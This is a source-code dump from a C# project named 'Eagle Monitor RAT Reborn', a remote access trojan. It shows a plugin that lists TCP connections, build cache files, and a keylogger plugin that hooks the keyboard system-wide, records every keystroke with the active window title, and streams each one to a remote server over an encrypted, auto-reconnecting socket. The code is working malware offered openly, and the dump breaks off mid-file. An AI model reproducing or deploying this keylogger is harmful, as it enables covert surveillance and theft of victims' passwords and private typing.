NetworkInformation { private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections() { int num = 2; int num2 = 0; uint num3 = GetExtendedTcpTable(IntPtr.Zero, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0); if (num3 != 0U && num3 != 122U) { throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString()); } IntPtr intPtr = Marshal.AllocHGlobal(num2); MIB_TCPROW_OWNER_PID[] array; try { num3 = GetExtendedTcpTable(intPtr, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0); if (num3 != 0U) { throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString()); } MIB_TCPTABLE_OWNER_PID mib_TCPTABLE_OWNER_PID = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(intPtr, typeof(MIB_TCPTABLE_OWNER_PID)); IntPtr intPtr2 = (IntPtr)((long)intPtr + (long)Marshal.SizeOf(mib_TCPTABLE_OWNER_PID.dwNumEntries)); array = new MIB_TCPROW_OWNER_PID[mib_TCPTABLE_OWNER_PID.dwNumEntries]; int num4 = 0; while ((long)num4 < (long)((ulong)mib_TCPTABLE_OWNER_PID.dwNumEntries)) { MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(intPtr2, typeof(MIB_TCPROW_OWNER_PID)); array[num4] = mib_TCPROW_OWNER_PID; intPtr2 = (IntPtr)((long)intPtr2 + (long)Marshal.SizeOf(mib_TCPROW_OWNER_PID)); num4++; } } finally { Marshal.FreeHGlobal(intPtr); } return array; } public static List AllTCPConnection() { List ret = new List(); try { MIB_TCPROW_OWNER_PID[] allTcpConnections = GetAllTcpConnections(); int num = allTcpConnections.Length; for (int i = 0; i < num; i++) { MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = allTcpConnections[i]; string localEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.localAddr)), mib_TCPROW_OWNER_PID.LocalPort); string remoteEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.remoteAddr)), mib_TCPROW_OWNER_PID.RemotePort); ret.Add(new TCPInformation() { PID = mib_TCPROW_OWNER_PID.owningPid, LocalEndPoint = localEndPoint, RemoteEndPoint = remoteEndPoint, State = (TCPInformation.TCP_CONNECTION_STATE)mib_TCPROW_OWNER_PID.state, processName = Process.GetProcessById(mib_TCPROW_OWNER_PID.owningPid).ProcessName }); } } catch { } return ret; } } } ================================================ FILE: Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Information")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Information")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("8af7e48f-4ae9-46e3-8d94-ecb557e6a47b")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Information/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // Ce code a été généré par un outil. // Version du runtime :4.0.30319.42000 // // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si // le code est régénéré. // //------------------------------------------------------------------------------ namespace Plugin.Properties { using System; /// /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. /// // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder // à l'aide d'un outil, tel que ResGen ou Visual Studio. // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen // avec l'option /str ou régénérez votre projet VS. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Plugin.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Remplace la propriété CurrentUICulture du thread actuel pour toutes /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// /// Recherche une ressource localisée de type System.Byte[]. /// internal static byte[] CPU { get { object obj = ResourceManager.GetObject("CPU", resourceCulture); return ((byte[])(obj)); } } /// /// Recherche une ressource localisée de type System.Byte[]. /// internal static byte[] CPU64 { get { object obj = ResourceManager.GetObject("CPU64", resourceCulture); return ((byte[])(obj)); } } } } ================================================ FILE: Remote Access Tool/Plugins/Information/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\CPU.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\CPU64.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: Remote Access Tool/Plugins/Information/WMIHelpers.cs ================================================  /* || AUTHOR Arsium || || github : https://github.com/arsium || */ /* Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5; VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6; SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); RunningOnMono = Type.GetType("Mono.Runtime") != null; */ namespace Plugin { internal class WMIHelpers { internal enum OSType { AIX = 9, ASERIES = 0x20, ATTUNIX = 3, BeOS = 53, BS2000 = 35, BSDUNIX = 41, DC_OS = 23, DECNT = 5, Dedicated = 59, DGUX = 4, DigitalUNIX = 6, EPOC = 49, FreeBSD = 42, GNUHurd = 44, HP_MPE = 54, HPUX = 8, Inferno = 47, InteractiveUNIX = 40, IRIX = 28, IxWorks = 50, JavaVM = 13, LINUX = 36, Lynx = 37, MACHKernel = 46, MACROS = 2, MiNT = 52, MSDOS = 14, MVS = 10, NCR3000 = 20, NetBSD = 43, NetWare = 21, NextStep = 55, OpenVMS = 7, OS_390 = 60, OS2 = 12, OS400 = 11, OS9 = 45, OSF = 22, Other = 1, PalmPilot = 56, QNX = 48, ReliantUNIX = 24, Rhapsody = 57, SCOOpenServer = 26, SCOUnixWare = 25, Sequent = 27, Solaris = 29, SunOS = 30, TandemNSK = 33, TandemNT = 34, TPF = 62, U6000 = 0x1F, Unknown = 0, VM_ESA = 39, VSE = 61, VxWorks = 51, WIN3x = 0xF, WIN95 = 0x10, WIN98 = 17, WINCE = 19, Windows2000 = 58, WINNT = 18, XENIX = 38 } } } ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.CoreCompileInputs.cache ================================================ 2a34a63e9b7af02237553a06f675fff1fff9c9a2 ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Information.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Plugin.Properties.Resources.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Information.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Plugin.Properties.Resources.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Debug\Information.dll ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache ================================================ fba354ae6fa2993934824681655376eaf99853fb ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Information.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Information.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\Release\Information.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Information.dll C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.dll C:\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Information.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Information.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Information.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Information.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Plugin.Properties.Resources.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Information\obj\Release\Information.dll ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Information/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Information/obj/x64/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.CoreCompileInputs.cache ================================================ 550815ad68ddcc6acff2ded4fe84bf06d2a5c669 ================================================ FILE: Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\bin\x64\Release\Information.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Information.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Plugin.Properties.Resources.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Information.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Information.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Information.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Information64.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Information\obj\x64\Release\Information64.dll ================================================ FILE: Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Information/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/Keylogger/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public ClientHandler(Host host, string key) : base() { this.hasToExit = false; this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { this.Dispose(); return; } else if (!Connected) { ConnectStart(); } else { this.SendPacket(new KeylogPacket("", Launch.baseIp, Launch.HWID));//this to get client on server Receive(); } } public void Receive() { if (hasToExit) { this.Dispose(); return; } if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if(Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && data.Length > 0 && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { return BufferPacket.DeserializePacket(Launch.key); } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.KEYLOG_OFF: this.hasToExit = true; KeyLib.Hook.AbortHook(); break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); if (Connected) { if (length != 0)//TODO : LOGS { //MessageBox.Show("Data sent ! + length = " + length.ToString()); } else { //MessageBox.Show("Error while sending data + length =" + length.ToString()); } } //this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Keylogger/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Keylogger/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Keylogger/Hook.cs ================================================ using PacketLib.Packet; using Plugin; using System; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Windows.Forms; using static KeyLib.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs */ namespace KeyLib { public class Hook { public static StringBuilder stolen; static Hook() { stolen = new StringBuilder(); } internal static Thread keyboadThread = new Thread(KeyboardThread); public static void AbortHook() { try { if (ptrHook != IntPtr.Zero) { UnhookWindowsHookEx(ptrHook); } } catch { } } public static void StartHooking() { keyboadThread.Start(); } private static void HookKeyboard() { callback = new LowLevelKeyboardProc(GetAllKeys); ptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0); } private static void KeyboardThread() { try { HookKeyboard(); Application.Run(); } catch { } } private static string GetActiveWindowTitle() { try { const int nChars = 256; StringBuilder stringBuilder = new StringBuilder(nChars); IntPtr handle = GetForegroundWindow(); GetWindowThreadProcessId(handle, out uint pid); if (GetWindowText(handle, stringBuilder, nChars) > 0) { CurrentActiveWindowTitle = stringBuilder.ToString(); return CurrentActiveWindowTitle; } } catch (Exception) { } return "???"; } private static string KeyboardLayout(uint vkCode) { try { StringBuilder sb = new StringBuilder(); byte[] vkBuffer = new byte[256]; if (!GetKeyboardState(vkBuffer)) return ""; uint scanCode = MapVirtualKey(vkCode, 0); IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); return sb.ToString(); } catch { } return ((Keys)vkCode).ToString(); } private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp) { try { if (nCode >= 0 && wp == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lp); bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0; bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; string currentKey = KeyboardLayout((uint)vkCode); if (capsLockPressed || shiftPressed) { currentKey = currentKey.ToUpper(); } else { currentKey = currentKey.ToLower(); } if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) currentKey = "[" + (Keys)vkCode + "]"; else { switch (((Keys)vkCode).ToString()) { case "Space": currentKey = " "; break; case "Return": currentKey = "[ENTER]\n"; break; case "Escape": currentKey = "[ESC]\n"; break; case "Back": currentKey = "[Back]"; break; case "Tab": currentKey = "[Tab]\n"; break; } } if (!string.IsNullOrEmpty(currentKey)) { StringBuilder sb = new StringBuilder(); if (CurrentActiveWindowTitle == GetActiveWindowTitle()) { sb.Append(currentKey); } else { sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]"); sb.Append($"\n{currentKey}"); } Launch.clientHandler.SendPacket(new KeylogPacket(sb.ToString(), Launch.baseIp, Launch.HWID)); //stolen.Append(sb.ToString()); } } else if (nCode >= 0 && wp == (IntPtr)WM_SYSKEYDOWN) { int vkCode = Marshal.ReadInt32(lp); bool altPressed = (GetKeyState(0xA5) & 0x8000) != 0; //only rigth alt //(GetKeyState(0xA4) & 0x8000) != 0 || (GetKeyState(0xA5) & 0x8000) != 0;//(GetKeyState(0x12) & 0xffff) != 0; string currentKey = KeyboardLayout((uint)vkCode); if (altPressed) { if (!string.IsNullOrEmpty(currentKey)) { StringBuilder sb = new StringBuilder(); if (CurrentActiveWindowTitle == GetActiveWindowTitle()) { sb.Append(currentKey); } else { sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]"); sb.Append($"\n{currentKey}"); } Launch.clientHandler.SendPacket(new KeylogPacket(sb.ToString(), Launch.baseIp , Launch.HWID)); //stolen.Append(sb.ToString()); } } } return CallNextHookEx(ptrHook, nCode, wp, lp); } catch { return IntPtr.Zero; } } } } ================================================ FILE: Remote Access Tool/Plugins/Keylogger/Imports.cs ================================================ using System; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace KeyLib { internal static class Imports { #region"user32" private const string user32 = "user32.dll"; internal static string CurrentActiveWindowTitle; internal const short WM_KEYDOWN = 0x100; internal const int WM_SYSKEYDOWN = 0x104; [DllImport(user32)] internal extern static bool UnhookWindowsHookEx(IntPtr hook); [DllImport(user32)] internal static extern IntPtr GetKeyboardLayout(uint idThread); [DllImport(user32)] internal static extern 